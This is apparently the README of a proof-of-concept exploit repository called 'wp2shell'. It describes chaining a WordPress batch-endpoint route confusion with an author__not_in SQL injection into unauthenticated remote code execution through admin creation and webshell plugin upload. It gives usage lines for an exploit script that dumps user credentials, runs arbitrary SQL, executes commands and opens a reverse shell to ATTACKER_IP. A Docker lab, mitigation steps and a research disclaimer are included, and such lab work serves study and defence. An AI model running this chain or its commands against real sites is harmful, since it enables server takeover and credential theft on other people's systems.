CVE-2026-63030 & CVE-2026-60137 — wp2shell

WordPress Core Pre-Auth RCE — Route Confusion + SQL Injection chained to Remote Code Execution

Overview

wp2shell is the name for the exploit chain combining 2 vulnerabilities in WordPress Core:

• CVE-2026-63030 — Route Confusion: Batch endpoint (/wp-json/batch/v1) index mismatch between $matches[] and $validation[] arrays when a sub-request has an invalid path, causing the next sub-request to run under the wrong handler → bypass REST API schema validation.
• CVE-2026-60137 — SQL Injection: WP_Query::get_posts() does not sanitize the author__not_in parameter when it receives a string instead of an array → raw SQL injection.

The two bugs combined form a complete Pre-Auth RCE chain — from 0 credentials to shell on the server through just HTTP requests.

Exploit Chain

Route Confusion (bypass REST validation)
    → SQL Injection (read DB: users, secret keys)
        → oEmbed cache poisoning (read-only SQLi → write primitive)
            → customize_changeset (create new admin)
                → Plugin upload (webshell)
                    → Remote Code Execution

Read full technical analysis at REPORT.md

Lab Setup

Lab uses Docker Compose with 3 containers:

Requirements

• Docker + Docker Compose
• Python 3.8+ (stdlib only, no additional packages needed)
• Bash (to run setup.sh)

Startup

cd wp2shell-lab
bash setup.sh

Script automatically:

1. Pull images and start containers
2. Install WordPress 6.9.4
3. Seed sample data (posts, user)
4. Enable MySQL general log + WP_DEBUG

Upon completion, it will display "WP2Shell Lab — READY!" along with login information.

Cleanup

cd wp2shell-lab
docker compose down -v

Exploit Usage

# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080

# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080

# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080

# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080

# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080

# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080

PoC script rewritten from scratch, reference from Icex0/wp2shell-poc. Uses Python 3 stdlib only, no additional dependencies to install.

Exploitation Conditions

Mitigation

1. Upgrade WordPress to >= 6.9.5 or >= 7.0.2 — the only thorough fix.
2. Disable batch endpoint temporarily: add add_filter('rest_batch_disabled', '__return_true'); to functions.php.
3. WAF rule: block requests to /wp-json/batch/v1 containing SQL keywords.

Disclaimer

This repository is created for research, learning, and CTF purposes in a controlled lab environment. Do not use to attack real systems. Any unauthorized exploitation is illegal.

References

• Icex0/wp2shell-poc — Original reference PoC
• WordPress 6.9.4 — class-wp-rest-server.php
• WordPress 6.9.4 — class-wp-query.php
• Patch diff 6.9.4 -> 6.9.5